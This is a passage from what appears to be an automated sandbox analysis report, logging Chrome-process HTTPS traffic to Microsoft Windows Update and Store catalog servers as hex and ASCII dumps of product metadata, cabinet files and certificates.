2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 
73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 31 2c 22 52 
65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 
Data Ascii: ts":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIR
equired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0010","Disp
layRank":1,"RemediationRequired":fals

2022-05-26 11:46:46 UTC 2181 IN Data Raw: 6f 69 6e 74 20 6f 66 20 74 68 65 20 70 68 6f 74 6f 2e 20 54 68 69 73 20 6d 61 6b 65 73 20 63 6f 6c 6f 72 73 20 
61 70 70 65 61 72 20 63 6f 6d 70 6c 65 74 65 6c 79 20 62 6c 61 63 6b 20 6f 72 20 77 68 69 74 65 2e 5c 72 5c 6e 5c 72 5c 
6e 2a 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 5c 72 5c 6e 55 73 65 20 54 65 6d 70 65 72 61 74 
75 72 65 20 61 6e 64 20 54 69 6e 74 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 74 72 6f 64 75 63 65 20 77 61 72 6d 74 
68 20 6f 72 20 63 6f 6c 64 6e 65 73 73 20 74 6f 20 79 6f 75 72 20 70 68 6f 74 6f 2e 20 59 6f 75 20 63 61 6e 20 61 6c 73 6f 
20 63 6f 6e 74 72 6f 6c 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 67 72 65 65 6e 20 61 6e 64 20 72 65 64 20 74 6f 6e 
65 73 20 69 6e 20 79 6f 75 72 20 70 68 6f 74 6f 2e 5c 
Data Ascii: oint of the photo. This makes colors appear completely black or white.\r\n\r\n* Temperature and Tint\r\nUse 
Temperature and Tint controls to introduce warmth or coldness to your photo. You can also control the amount of green 
and red tones in your photo.\
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2022-05-26 11:46:46 UTC 2185 IN Data Raw: 54 5a 22 2c 22 54 47 22 2c 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 
4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 
55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 
22 56 41 22 2c 22 4e 45 55 54 52 41 4c 22 5d 7d 5d 2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 4
a 32 37 4e 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 
50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 
22 3a 22 63 30 38 61 30 64 37 32 2d 32 38 61 31 2d 34 36 35 61 2d 39 
Data Ascii: TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD"
,"MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9WZDNCRFJ27N","Properties":{"FulfillmentData":{"ProductId":"9WZ
DNCRFJ27N","WuCategoryId":"c08a0d72-28a1-465a-9

2022-05-26 11:46:46 UTC 2189 IN Data Raw: 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 
74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 
7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 6
5 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 
73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 
5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 
7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 
Data Ascii: rtyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":
27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","Pac
kageDownloadUris"

2022-05-26 11:46:46 UTC 2193 IN Data Raw: 73 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 
74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 
70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 
22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 
5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 53 65 72 76 65 72 
22 2c 22 70 69 63 74 75 72 65 73 4c 69 62 72 61 72 79 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 
65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 
Data Ascii: s_ynb6jyjzte8ga","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"A
pp"}],"Architectures":["x64"],"Capabilities":["internetClient","internetClientServer","picturesLibrary","Microsoft.storeFilter.cor
e.notSupported_8w

2022-05-26 11:46:46 UTC 2197 IN Data Raw: 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 50 61 63 6b 61 67 65 49 
64 22 3a 22 63 65 36 62 34 38 39 66 2d 33 30 66 33 2d 34 36 63 36 2d 62 32 65 34 2d 35 65 37 66 30 32 31 31 63 33 35 
66 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 32 30 30 31 33 2c 22 50 6c 61 
74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 31 36 38 38 38 36 
32 37 34 35 31 36 35 38 32 34 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 31 36 38 38 38 36 32 37 34 35 31 36 35 38 32 
34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 57 69 6e 64 6f 77 73 38 78 22 7d 5d 2c 
22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 
Data Ascii: 0_neutral_~_ynb6jyjzte8ga","PackageId":"ce6b489f-30f3-46c6-b2e4-5e7f0211c35f-X86-X64-Arm","Package
Rank":20013,"PlatformDependencies":[{"MaxTested":1688862745165824,"MinVersion":1688862745165824,"Pla
tformName":"Windows.Windows8x"}],"PlatformDependencyXmlBl

2022-05-26 11:46:46 UTC 2200 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

102 192.168.2.4 49869 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:47 UTC 2200 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:47 UTC 2200 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 1c708b20-6bd4-4046-bdde-6b7f963cb38a
MS-RequestId: 695610bc-3d17-49ed-825a-3711e32e2a16
MS-CV: EEWDQuAtfE2Rj4hc.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:46 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:47 UTC 2201 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

Copyright Joe Security LLC 2022 Page 56 of 222



2022-05-26 11:46:47 UTC 2216 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:47 UTC 2232 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

103 192.168.2.4 49870 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:48 UTC 2236 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:48 UTC 2236 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
MS-CorrelationId: 58d4348e-c9f7-4478-a003-b30d33ed18bf
MS-RequestId: 95b157cd-38e3-4dc1-8e99-16f8add08ca3
MS-CV: faSo1sFx0E+9AYTg.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:47 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:48 UTC 2237 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:48 UTC 2252 IN Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 
23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 
61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 
a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 
07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 
33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f 
e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 
Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>
7Go?j=

2022-05-26 11:46:48 UTC 2268 IN Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 
52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 
33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 
31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 3
1 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 0
3 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 
2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 
Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0|10UUS10
UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

104 192.168.2.4 49871 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:48 UTC 2272 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AmazonVideo.PrimeVideo_pwbj9vvecjh7j&m
arket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: rSSOXunOFkaDfWK5.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-26 11:46:48 UTC 2272 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 May 2022 11:46:47 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: c124ee84-c52c-4206-a6b0-86c6dba1aad1
MS-RequestId: 87cfd6f0-021b-46b2-b817-ad5b417830c5
MS-CV: rSSOXunOFkaDfWK5.0.2.4.1057843896.0.1.1057843898.2527013186.0
X-Content-Type-Options: nosniff
MS-ServerId: cf5cdc-bxfkh
Region: neu
Node: aks-bigcatrpns-32351330-vmss00000o
MS-DocumentVersions: 9P6RC76MSMMJ|1526

2022-05-26 11:46:48 UTC 2273 IN Data Raw: 37 61 65 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 50 36 52 43 37 36 4d 53 4d 4d 4a 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 32 34 54 31 36 3a 30 36 3a 30 36 2e 36 32 36 38 34 37 
31 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 31 32 33 35 38 37 38 39 32 37 
35 39 32 38 38 32 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: 7ae7{"BigIds":["9P6RC76MSMMJ"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-24T16
:06:06.6268471Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3041235878927592882","EISListingIdentifier
":null,"BackgroundColor":"transpare

2022-05-26 11:46:48 UTC 2276 IN Data Raw: 2e 31 32 36 30 2e 31 34 36 31 38 39 38 35 35 33 36 39 31 39 39 30 35 2e 62 66 64 63 65 66 34 62 2d 39 36 
62 65 2d 34 31 62 36 2d 62 65 38 65 2d 35 66 61 39 34 61 31 34 33 36 38 31 2e 38 31 36 62 34 65 61 38 2d 66 65 37 38 
2d 34 65 66 30 2d 61 30 35 64 2d 64 32 64 62 36 35 39 38 34 66 32 61 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 
46 69 6c 65 49 64 22 3a 22 33 30 34 38 33 30 35 34 33 36 35 32 36 39 32 39 34 39 37 22 2c 22 45 49 53 4c 69 73 74 69 
6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 
61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 
73 22 3a 31 30 30 33 36 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 
Data Ascii: .1260.14618985536919905.bfdcef4b-96be-41b6-be8e-5fa94a143681.816b4ea8-fe78-4ef0-a05d-d2d
b65984f2a","Width":66},{"FileId":"3048305436526929497","EISListingIdentifier":null,"BackgroundColor":"transpar
ent","Caption":"","FileSizeInBytes":10036,"ForegroundColo

2022-05-26 11:46:48 UTC 2280 IN Data Raw: 33 30 37 30 38 35 36 32 31 37 32 30 34 33 35 30 32 34 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 
6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 
72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 33 
39 38 38 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 
49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 
6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 6a 4c 75 4f 74 76 78 30 5
0 6b 6a 76 75 71 59 75 6a 5a 35 78 56 46 33 50 61 67 71 51 66 59 
Data Ascii: 3070856217204350241","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInByt
es":139885,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256
Hash":"jLuOtvx0PkjvuqYujZ5xVF3PagqQfY

2022-05-26 11:46:48 UTC 2284 IN Data Raw: 65 49 64 22 3a 22 32 30 30 30 30 30 30 30 30 30 30 36 37 38 30 31 37 34 31 22 2c 22 45 49 53 4c 69 73 74 
69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 
72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 
65 73 22 3a 31 30 39 31 39 33 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 
22 3a 37 36 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 37 22 2c 22 49 
6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 6
5 53 48 41 32 35 36 48 61 73 68 22 3a 22 46 6f 45 6a 51 53 43 33 
Data Ascii: eId":"2000000000067801741","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSiz
eInBytes":1091931,"ForegroundColor":"","Height":768,"ImagePositionInfo":"Desktop/7","ImagePurpose":"Screenshot
","UnscaledImageSHA256Hash":"FoEjQSC3

2022-05-26 11:46:48 UTC 2288 IN Data Raw: 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 22 2c 22 50 61 63 
6b 61 67 65 49 64 65 6e 74 69 74 79 4e 61 6d 65 22 3a 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 
65 6f 22 2c 22 50 75 62 6c 69 73 68 65 72 43 65 72 74 69 66 69 63 61 74 65 4e 61 6d 65 22 3a 22 43 4e 3d 43 41 46 43 
34 36 46 37 2d 31 37 38 35 2d 34 44 32 32 2d 38 38 34 33 2d 36 32 42 42 32 33 45 39 39 41 43 45 22 2c 22 58 62 6f 78 
43 72 6f 73 73 47 65 6e 53 65 74 49 64 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 4f 70 74 69 6d 
69 7a 65 64 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 43 6f 6d 70 61 74 69 62 6c 65 22 3a 6e 75 
6c 6c 7d 2c 22 41 6c 74 65 72 6e 61 74 65 49 64 73 22 3a 5b 7b 22 
Data Ascii: Video.PrimeVideo_pwbj9vvecjh7j","PackageIdentityName":"AmazonVideo.PrimeVideo","PublisherCertifica
teName":"CN=CAFC46F7-1785-4D22-8843-62BB23E99ACE","XboxCrossGenSetId":null,"XboxConsoleGenOptimized"
:null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"

2022-05-26 11:46:48 UTC 2292 IN Data Raw: 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 41 6d 61 
7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 39 2e 30 5f 78 38 36 5f 5f 70 77 62 6a 39 76 
76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 
39 2e 30 5f 78 36 34 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 
72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 39 2e 30 5f 61 72 6d 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 5d 
2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 
